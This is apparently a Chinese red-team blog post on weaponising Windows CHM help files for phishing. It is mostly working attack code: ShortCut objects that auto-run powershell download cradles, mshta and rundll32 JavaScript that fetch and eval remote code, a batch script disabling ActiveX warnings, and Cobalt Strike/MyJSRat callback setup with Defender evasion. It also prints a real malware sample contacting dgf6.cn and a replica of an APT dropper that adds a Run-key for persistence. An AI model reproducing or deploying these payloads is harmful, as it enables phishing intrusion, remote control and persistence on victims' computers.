【钓鱼从入门到放弃】-CHM文件笔记

关于CHM文件的学习。

0x00 简介

微软HTML帮助集,即编译的HTML帮助文件(英语:Microsoft Compiled HTML Help, CHM),是微软继承早先的WinHelp发展的一种文件格式,用来提供在线帮助,是一种应用较广泛的文件格式。因为CHM文件如一本书一样,可以提供内容目录、索引和搜索等功能。CHM帮助文件通常可以使用RAR等压缩文件格式打开。

当攻击者利用此文件进行攻击时,通常会在CHM文件内包含恶意脚本和恶意文件,用户打开CHM文件时就会触发恶意代码执行。nishang等框架支持生成CHM的恶意恶意利用。本文介绍了如何手动制作CHM,并梳理了常见的攻击利用方式。

0x01 前置知识

需要下载HTML Help Workshop生成CHM文件,但是微软官方的链接已经失效了。

下载链接:https://www.helpandmanual.com/downloads_mscomp.html

1
2
$ shasum -a 256 ~/Downloads/htmlhelp.exe
cf8fe5a02d3c2bf0c8728dd399dc3b2587c4139ffb23ef4268f34535a6157b87 ~/Downloads/htmlhelp.exe

由于是第三方网站,所以这里贴出virustotal检测的链接:https://www.virustotal.com/gui/file/cf8fe5a02d3c2bf0c8728dd399dc3b2587c4139ffb23ef4268f34535a6157b87/detection

安装之后会提示已经有最新的HTML HELP版本了,那个可以忽略不管。

CHM文件是由hhp、html、hhk、hhc以及其他资源文件(如jpeg、png)等文件组成的。

hhp-配置文件

hhp文件是在编译时用到的主要文件。可以将它理解为CHM的配置文件,里面包含了首页和默认页、要打包的文件等信息。

Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[OPTIONS] 
Compatibility=1.1 or later
Compiled file=PocCalc.chm
Contents file=Table of Contents.hhc
Index file=Index.hhk
Default topic=poc.html
Title=PocCalc
Display compile progress=No
Language=0x410 Italian (Italy)
Full-text search=Yes

[FILES]
poc.html
Test7Z1.exe

[INFOTYPES]

html

HTML格式文件用来存储CHM帮助文件中的文本、图片、 按钮、以及快捷方式等方式。

攻击者一般会通过ShortCut的方式添加执行的恶意命令,在Item1的Value参数中指定运行的进程和参数。

ShortCut-Syntax

1
2
3
4
5
6
<PARAM  name="Command" value="ShortCut">
<PARAM name="Item1" value=",<i>program name</i>,<i>parameters</i>">
<PARAM name="Item2" value="<i>message ID</i>,<i>wPARAM</i>,<i>lPARAM</i>">
[<PARAM name="Button" value="[Text: <i>Button text</i>|Bitmap: <i>Bitmap file path</i>|Icon:<i>Icon file path</i>]">]
[<PARAM name="Font" value="<i>Facename[, point size[, charset[, color[, PLAIN BOLD ITALIC UNDERLINE]]]]</i>">]
[<PARAM name="Text" value="Text: <i>Link text</i>">]

ShortCut-Example

利用hhctrl.ocx对象命令执行去弹CMD-代码示例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html>
<head>
<title>calc poc</title>
<head></head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',cmd /c, Calc'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>

</body>

</html>

hhk-索引页面地图

hhk文件是html格式的文件,用于保存CHM中关键字索引目录的内容, 在<BODY>标签中以列举所有需要嵌入到chm文件中的附件文件对象,对象包含对象名Name和编译对象所在路径Local两个参数,设置的对象会在编译的时候编译到chm文件中。该文件在编译CHM文件过程中可忽略。

Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<!-- Sitemap 1.0 -->
</HEAD>
<BODY>
<UL>
<LI><OBJECT type="text/sitemap">
<param name="Name" value="Hello">
<param name="Local" value="poc.html">
</OBJECT>
<LI><OBJECT type="text/sitemap">
<param name="Name" value="World">
<param name="Local" value="poc.html">
</OBJECT>
</UL>
</BODY>
</HTML>

hhc-目录页面地图

hhc文件是html格式的文件,用于保存CHM中目录页面索引的内容,在hhc文件中,用<UL><LI>两个标签定义了带有层级关系中列表,并在其中以<OBJECT>的形式嵌入了html页面对象。利用列表的层级关系,构造了最终chm文件的层级关系。

Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> 
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<!-- Sitemap 1.0 -->
</HEAD>
<BODY>
<OBJECT type="text/site properties">
<param name="ImageType" value="Folder">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Test">
<param name="Local" value="poc.html">
<param name="ImageNumber" value="1">
</OBJECT>
</UL>
</BODY>
</HTML>

编译CHM文件

使用hhc.exe 编译hhp文件即可。

1
hhc.exe <目标hhp文件>

反编译CHM文件

1
hh.exe  -decompile <输出路径> <目标chm文件>

0x02 真实案例分析

在吾爱论坛上找到一个恶意样本,该恶意程序执行后会释放BAT文件并执行、一个CHM文件。(原样本是COM程序,这里只简单分析一下CHM文件)

这里用自带的hh.exe反编译就能获取到文件,看看反编译出来的文件就知道,这个CHM文件是用Easy CHM打包的。

20220113-17:29:34-_dkiyBX_CHMFile_0_dkiyBX_1642066174124_dkiyBX_CHMFile_0

看看hhk索引,没啥特别,hhc文件和这个差不多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="EasyCHM.exe www.zipghost.com">
<!-- Sitemap 1.0 -->
</HEAD><BODY>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="1.html">
<param name="Local" value="1.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="2.html">
<param name="Local" value="2.html">
</OBJECT>
</UL>
</BODY></HTML>

1.html(主要恶意文件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<!DOCTYPE html>
<html lang="en">

</html>

<script>
(function() {
if (window.atob)
return;
else {
var Base64 = window.Base64 || {
/*省略部分代码,此处代码为base64的编码解码实现,猜测是为了掩人耳目*/
})();

function debug(s) {
if(window.console)console.log(s);
}

var dotnet4 = function(path, execuablePath, downloadPath) {
/* dotnet4 这一块函数是用了这个DotNetToJScript工具,通过反序列化加载执行.NET程序,代码基本相同*/
/* 仓库的测试程序是弹窗,不过这里攻击者应该是重写了入口函数,使其能够下载恶意文件并执行,由于请求的url已经关站,故无法对下载的文件进行下一步分析*/

var invokeSuccess = false;

function setversion() {
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v2.0.50727';
}

function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}

//(此处省略了部分。)
var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+
"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+
"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+
"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+
"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+
"AAAAAAAAAAAAAAAAAQ0AAAAEAAAACRcAAAAJBgAAAAkWAAAABhoAAAAnU3lzdGVtLlJlZmxlY3Rp"+
"b24uQXNzZW1ibHkgTG9hZChCeXRlW10pCAAAAAoL";
var entry_class = 'TestClass';

try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
o.Cp(path, execuablePath, downloadPath);
invokeSuccess = true;
} catch (e) {
debug(e.message);
}
return invokeSuccess;
}
var href = "";

// setTimeout(, 0);
window.path = "http://www.dgf6.cn:7231/105";
window.execuablePath = "11";
window.downloadPath = "C:\\Users\\Public\\6253";

//请求 http[:]//www.dgf6.cn:7231/105,下载恶意文件,释放到C:\\Users\\Public\\6253,执行后跳转2.html页面
(function task() {
try {
var path = window.path;
var execuablePath = window.execuablePath;
var downloadPath = window.downloadPath;
var isSuccessv4 = "";
var isSuccessv2 = "";
isSuccessv4 = dotnet4(path, execuablePath, downloadPath);

if (isSuccessv4) {
location.href = "2.html"
} else {}
} catch (e) {
debug(e.message + "globalCode");
}
})();
</script>

2.html 就一张图片,没什么好说的。

1
<img style="position:absolute; top:0px;left:0px; width:100%" src="http://img.youxiguancha.com/game/2015/01/12/1421043095_5.jpg"/>

该恶意程序执行流程如下:

20220113-17:29:54-_apeq0N_CHMFile_1_apeq0N_1642066194260_apeq0N_CHMFile_1

0x03 基础攻击方式

利用hhctrl.ocx对象命令执行

其实这里方法用的都是ShortCut这个功能,去实现的命令执行。

powershell

这里用的是MSF生成的payload,当然也可以直接用cs的,但是缺点是会弹个powershell执行的框。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html>
<head>
<title>calc poc</title>
<head></head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',powershell.exe, -nop -w hidden -e BASE64编码的字段'>
<!--><PARAM name="Item1" value=',powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring("http://xx.xx.xx.xx"))'> 这段payload也可以<-->
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>
</body>

</html>

hta

通过shortcut调用远程hta文件,实现上线。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>calc poc</title>
<head></head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',mshta, http://x.x.x.x/loader.hta'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>
</body>

</html>

rundll32运行JS

通过rundll32执行带ActiveXObject的javascript脚本实现上线。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>calc poc</title>
<head></head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://xx.xx.xx.xx",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>
</body>

</html>

释放文件并执行

以下代码示范了如何通过shortcut调用cmd命令,将CHM压缩的文件释放到本地指定目录后,再执行。

hh释放文件Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<p id="t0">Hello World!</p>
<SCRIPT>
function getPath(){
var pathName = document.location.pathname;
var index0 = pathName.substr(1).indexOf(":");
var index1 = pathName.substr(1).lastIndexOf(":");
var result = pathName.substr(index0+2,index1-index0-2);
return result;
}

var dir = getPath();

var commodStr = '<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>' + '<PARAM name="Command" value="ShortCut">' + '<PARAM name="Button" value="Bitmap::shortcut">' + '<PARAM name="Item1" value=",hh, -decompile C:\\Windows\\Temp\\Downloads\\ ' + dir + '">';
document.getElementById('t0').innerHTML = commodStr;
x.Click();
</SCRIPT>

利用ActiveXObject对象判断文件是否存在,存在就打开。缺点,会提示ActiveXObject运行警告。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<p id="t0">Hello World!</p>
<SCRIPT>
<!-->获取目录<-->
function getPath(){
var pathName = document.location.pathname;
var index0 = pathName.substr(1).indexOf(":");
var index1 = pathName.substr(1).lastIndexOf(":");
var result = pathName.substr(index0+2,index1-index0-2);
return result;
}

<!-->判断文件是否存在,存在就执行指定的文件。<-->
function isHasFile(){
var a,s='C:\\Windows\\Temp\\Downloads\\Test7Z1.exe';
a = new ActiveXObject("Scripting.FileSystemObject");
if(a.FileExists(s))
AUTO.Click();
}

var dir = getPath();

var commodStr = '<OBJECT id=unrar classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>' + '<PARAM name="Command" value="ShortCut">' + '<PARAM name="Button" value="Bitmap::shortcut">' + '<PARAM name="Item1" value=",hh, -decompile C:\\Windows\\Temp\\Downloads\\ ' + dir + '"></OBJECT><OBJECT id=AUTO classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=",C:\\Windows\\Temp\\Downloads\\Test7Z1.exe"><PARAM name="Item2" value="273,1,1"></OBJECT>';

document.getElementById('t0').innerHTML = commodStr;
unrar.Click();
isHasFile();

</SCRIPT>

ActiveXObject

缺点,会提示是否运行ActiveXObject运行警告,但是可以通过修改注册表去关闭警告。

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<script type="text/vbscript">
Function test()
Dim oShell
Set oShell = CreateObject("WSCript.shell")
oShell.run "cmd /c calc"
Set oShell = Nothing
End Function
test()
</script>

</html>

注册表关闭ActiveXObject提示的Bat脚本

执行该bat脚本将会关闭文件包含ActiveXObject脚本的警告。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
echo off

cls
set bl=0
:setreg
if "%bl%"=="5" goto ex

set regpath=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%bl%
cls

@reg add "%regpath%" /v "1201" /d "0" /t REG_DWORD /f

set /a bl=%bl%+1

:ex
exit

0x04 工具利用

NISHANG Out-CHM

仓库地址:https://raw.githubusercontent.com/samratashok/nishang/master/Client/Out-CHM.ps1

CS或者MSF开启托管powershell恶意脚本。

1
2
3
Import-Module .\Out-CHM.ps1

Out-CHM -PayloadURL http://xx.xx.xx.xx/ -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

会在当前文件夹下生成doc.chm文件,执行后能正常上线,但是有黑窗弹出,客户端有察觉,不太合适。

20220113-17:30:10-_hHOWqf_CHMFile_2_hHOWqf_1642066210880_hHOWqf_CHMFile_2

MyJSRat

该方式利用的是rundll32 加载恶意javascript脚本来实现的连接,可以实现不弹黑窗上线CS,客户端全程无异常。

仓库地址:https://github.com/Ridter/MyJSRat

利用方式很简单

1
python2 MyJsrat.py -i <LHOST> -p <LPORT>

20220113-17:30:28-_NSU9Jf_CHMFile_3_NSU9Jf_1642066228239_NSU9Jf_CHMFile_3

访问http://IP:PORT/wtf获取受害机连接命令

1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://172.16.1.86:1234/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

将命令写入CHM的html文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>calc poc</title>
<head></head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://172.16.1.86:1234/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>
</body>

</html>

20220113-17:30:41-_BmKKC0_CHMFile_4_BmKKC0_1642066241452_BmKKC0_CHMFile_4

使用CS托管powershell恶意脚本。

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://HOST:80/a'))"

因为有特殊字符,所以要对执行的命令进行base64编码。将双引号包裹的powershell代码内容复制到txt中。

20220113-17:30:50-_VXNiKh_CHMFile_5_VXNiKh_1642066250169_VXNiKh_CHMFile_5

使用命令进行编码

1
2
3
4
cat 2.txt|iconv --to-code UTF-16LE |base64

# 要执行的powershell命令如下
powershell.exe -ep bypass -enc <base64编码内容>

使用MyJSRAT执行反弹shell的powershell命令,使受害机器上线。

1
python2 MyJSRat.py -i 172.16.1.86 -p 1234 -c "powershell.exe -ep bypass -enc <base64编码内容>"

开启MyJSRAT服务端后,只要打开CHM文件,客户端全程无弹窗上线CS。

20220113-17:27:50-_iHt0rU_CHM-MyJSRAT_iHt0rU_1642066070926_iHt0rU_CHM-MyJSRAT

DotNetToJScript

仓库地址:https://github.com/tyranid/DotNetToJScript

其实也是和MyJSRAT方法一样,通过rundll32.exe加载ActiveXObject Javascript脚本区别在于DotNetToJScript利用Javascript代码反序列加载Net程序(其实都会用到ActiveXObject),Net程序这里我们就可以发挥自己的聪明才智,随便写点想写的东西都行。仓库的测试TestClass是弹一个消息窗口。这里我写了一个C Sharp的Shellcode Loader,这里我复用了默认的入口函数。

20220113-17:31:10-_gt2kjS_CHMFile_6_gt2kjS_1642066270004_gt2kjS_CHMFile_6

使用DotNetToJScript生成Javascript脚本,除了Javascript脚本外,还能生成vbs、vba脚本。但是估计都被厂商杀烂了把。

1
DotNetToJScript.exe -v v2 -o test1.js ExampleAssembly.dll

这里生成之后可以手动运行JS文件,看是否能正常上线,能正常上线就说明成功。

我这里是把生成后的javascript代码,嵌入了CHM文件的html源码中,缺点是打开后需要快速迁移进程。

20220113-17:28:21-_7xPsaP_images-blog_2022-01-08_at_4_7xPsaP_1642066101345_7xPsaP_images-blog_2022-01-08_at_4

混淆一下Javascript代码,效果不错,使用CS 4.3默认Profile都能过Windows Defender(前提是不sleep 1)。所以我猜测如果修改CS Profile,用https监听+自签证书搞不好能无压力过了。

20220113-17:31:30-_cjldIq_CHMFile_7_cjldIq_1642066290161_cjldIq_CHMFile_7

0x05 “蔓灵花”组织CHM利用方法复现

分析报告地址:https://mp.weixin.qq.com/s/NLe4JqmjiB58IQ5Kn6DSLQ

这里仅复现报告中CHM文件的执行流程,CHM执行流程如图所示。

20220113-17:31:45-_hruriY_CHMFile_8_hruriY_1642066305551_hruriY_CHMFile_8

演示用的二进制程序为自己编写的net程序,通过带外dns,发送主机名/用户名、IP信息。

https://images.atsud0.me/images/post/20220113-16:49:14-_LszqMG_images-blog%202022-01-13%20at%204_LszqMG_1642063754231_LszqMG_images-blog%202022-01-13%20at%204.gif

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<!DOCTYPE html>
<html>
<head>
<title>hello world</title>
<head></head>
<body>

<img style="position:absolute; top:0px;left:0px; width:100%" src="https://images.atsud0.me/images/background.jpg"/>

<bgsound src="ntest.exe"><OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>

<PARAM name="Command" value="ShortCut">

<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="Item1" value=',rundll32.exe,vbscript:&quot;\..\mshtml,,,RunHTMLApplication &quot;<br>execute("Set fso=CreateObject(""Scripting.FileSystemobject""):appdata=(CreateObject(""Wscript.Shell"")).ExpandEnvironmentstrings(""%APPDATA%"")&""\ctfmon.exe"":Set fc=fso.GetFolder(fso.GetSpecialFolder(2)).files:For Each f1 in fc:If f1.size=7168 then : fso.CopyFile f1, appdata:Exit For:End If:Next:window.close()")'>

</OBJECT>

<OBJECT id=y classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>

<PARAM name="Command" value="ShortCut">

<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="Item1" value=',rundll32.exe,vbscript:&quot;\..\mshtml,,,RunHTMLApplication &quot;<br>execute("Set wss=CreateObject(""WScript.Shell""):path=wss.ExpandEnvironmentStrings(""%APPDATA%"")&""\ctfmon.exe"":wss.RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ctfmonitor"", path,""REG_SZ"":window.close()")'>

</OBJECT>

<OBJECT id=z classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>

<PARAM name="Command" value="ShortCut">

<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="Item1" value=',rundll32.exe,vbscript:&quot;\..\mshtml,,,RunHTMLApplication &quot;<br>execute("Set sfso=CreateObject(""Scripting.FileSystemobject""):Set wsc=CreateObject(""WScript.Shell""):peaddr=wsc.ExpandEnvironmentstrings(""%APPDATA%"")&""\ctfmon.exe"":Set QQ=createobject(""Shell.Application""):For i=1 to 1000:If sfso.fileexists(peaddr) then:QQ.ShellExecute peaddr:Exit For:End If:document.write():Next:window.close()")'>

</OBJECT>

<script>x.Click();y.Click();z.Click();</script>

</body>

</html>

设置内嵌的ntest.exe为背景音乐,按钮x主要通过rundll32.exe调用RunHTMLApplication,遍历内嵌文件中的文件大小为7168kb的文件,将其释放到%APPDATA%目录下,并重命名为ctfmon.exe。

1
2
3
4
5
6
7
8
9
<bgsound src="ntest.exe"><OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>

<PARAM name="Command" value="ShortCut">

<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="Item1" value=',rundll32.exe,vbscript:&quot;\..\mshtml,,,RunHTMLApplication &quot;<br>execute("Set fso=CreateObject(""Scripting.FileSystemobject""):appdata=(CreateObject(""Wscript.Shell"")).ExpandEnvironmentstrings(""%APPDATA%"")&""\ctfmon.exe"":Set fc=fso.GetFolder(fso.GetSpecialFolder(2)).files:For Each f1 in fc:If f1.size=7168 then : fso.CopyFile f1, appdata:Exit For:End If:Next:window.close()")'>

</OBJECT>

按钮y,将ctfmon.exe文件写入注册表开机启动项中。

1
2
3
4
5
6
7
8
9
<OBJECT id=y classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>

<PARAM name="Command" value="ShortCut">

<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="Item1" value=',rundll32.exe,vbscript:&quot;\..\mshtml,,,RunHTMLApplication &quot;<br>execute("Set wss=CreateObject(""WScript.Shell""):path=wss.ExpandEnvironmentStrings(""%APPDATA%"")&""\ctfmon.exe"":wss.RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ctfmonitor"", path,""REG_SZ"":window.close()")'>

</OBJECT>

按钮z,文件存在时执行ctfmon.exe。

1
2
3
4
5
6
7
8
9
<OBJECT id=z classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>

<PARAM name="Command" value="ShortCut">

<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="Item1" value=',rundll32.exe,vbscript:&quot;\..\mshtml,,,RunHTMLApplication &quot;<br>execute("Set sfso=CreateObject(""Scripting.FileSystemobject""):Set wsc=CreateObject(""WScript.Shell""):peaddr=wsc.ExpandEnvironmentstrings(""%APPDATA%"")&""\ctfmon.exe"":Set QQ=createobject(""Shell.Application""):For i=1 to 1000:If sfso.fileexists(peaddr) then:QQ.ShellExecute peaddr:Exit For:End If:document.write():Next:window.close()")'>

</OBJECT>

依次执行按钮x、按钮y、按钮z。

1
<script>x.Click();y.Click();z.Click();</script>

0x06 小结

本文介绍了CHM文件的组成,编译CHM文件以及反编译CHM文件。并简单介绍CHM文件通过ShortCut按钮进行恶意代码的执行,以及介绍了三个工具利用CHM文件上线C2。该文件较常被“蔓灵花组织”所利用进行钓鱼攻击。故认为有学习价值,可以扩展钓鱼方式。

0x07 参考资料